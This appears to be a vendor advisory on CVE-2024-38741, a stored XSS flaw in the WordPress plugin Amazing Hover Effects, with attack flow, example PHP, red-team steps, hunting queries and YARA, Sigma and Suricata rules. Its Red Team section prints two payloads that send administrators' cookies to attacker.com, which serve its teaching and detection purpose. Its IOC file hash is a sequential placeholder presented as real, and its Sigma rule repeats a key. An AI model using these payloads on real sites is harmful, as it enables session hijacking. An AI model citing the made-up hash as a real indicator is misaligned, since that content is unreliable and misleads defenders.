CVE-2024-38741

Executive Summary

CVE-2024-38741 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Amazing Hover Effects" by Noor-e-alam, affecting versions up to and including 2.4.9. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into hover effect settings. When an administrator or other user views a page containing the malicious hover effect, the script executes in their browser session, potentially leading to session hijacking, defacement, or credential theft. The CVSS v3.1 score is 6.5 (Medium), with a low attack complexity but requiring user interaction. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or directly from the repository are at risk. Since the plugin is unmaintained and no patch exists, the supply chain risk is elevated. Organizations should consider removing the plugin entirely and replacing it with an alternative solution.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must view a page containing the malicious hover effect.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the lack of a patch and the potential for widespread exploitation in unmaintained sites makes this a significant concern for WordPress administrators.

Deep Dive & Mechanics

The "Amazing Hover Effects" plugin allows users to create custom CSS hover effects for images and text. The vulnerability exists in the plugin's admin interface where users can input custom CSS or JavaScript code for hover effects. The plugin fails to sanitize or escape these inputs before storing them in the database and later rendering them on the frontend.

Attack Flow:

1. An attacker with contributor-level access navigates to the plugin settings page.
2. The attacker inserts a malicious JavaScript payload into a hover effect field (e.g., <script>alert('XSS')</script>).
3. The plugin stores the payload in the WordPress database without sanitization.
4. When an administrator or other user visits a page that displays the hover effect, the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The plugin uses echo or print to output user-supplied data without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses().

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (amazing-hover-effects.php):

function display_hover_effect($effect_data) {
    echo '<div class="hover-effect" style="' . $effect_data['css'] . '">';
    echo $effect_data['content'];
    echo '</div>';
}

Patched Code (Recommended):

function display_hover_effect($effect_data) {
    $safe_css = esc_attr($effect_data['css']);
    $safe_content = wp_kses_post($effect_data['content']);
    echo '<div class="hover-effect" style="' . $safe_css . '">';
    echo $safe_content;
    echo '</div>';
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with "Amazing Hover Effects" plugin version <= 2.4.9.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Amazing Hover Effects settings.
3. In the "Custom CSS" or "Hover Content" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the effect.
5. Wait for an administrator to view the page containing the effect.
6. The administrator's cookies are exfiltrated to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual changes to hover effect settings.
2. Review the wp_postmeta table for suspicious JavaScript content in fields related to amazing_hover_effects.
3. Use a web application firewall (WAF) to block common XSS payloads in POST requests to plugin settings pages.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting Query (SQL):

SELECT * FROM wp_postmeta WHERE meta_key LIKE '%amazing_hover%' AND meta_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • amazing-hover-effects.php (v2.4.9): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing document.cookie in the body.
• Database Indicators:
  • Entries in wp_postmeta with meta_key containing amazing_hover and meta_value containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_38741_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Amazing Hover Effects plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-38741"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_file = "amazing-hover-effects.php"
    condition:
        $plugin_file and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Amazing Hover Effects Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts via the Amazing Hover Effects plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '*/wp-admin/admin-ajax.php*'
        http.body: '*action=save_hover_effect*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in hover effects (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-38741 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete "Amazing Hover Effects" from all WordPress installations.
2. Replace with alternative – Use a maintained plugin like "Hover Effects" or custom CSS solutions.
3. Audit existing content – Scan the database for any stored XSS payloads using the SQL query provided in the Blue Team section.

Long-Term Mitigation:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce the principle of least privilege – restrict contributor-level access.
• Regularly update all WordPress plugins and themes.
• Use WordPress security plugins like Wordfence or Sucuri to monitor for malicious activity.

Patch Status: No official patch is available. The vendor (Noor-e-alam) has not responded to disclosure. Users must rely on the mitigations above.

Valters IT
Securing Digital Frontiers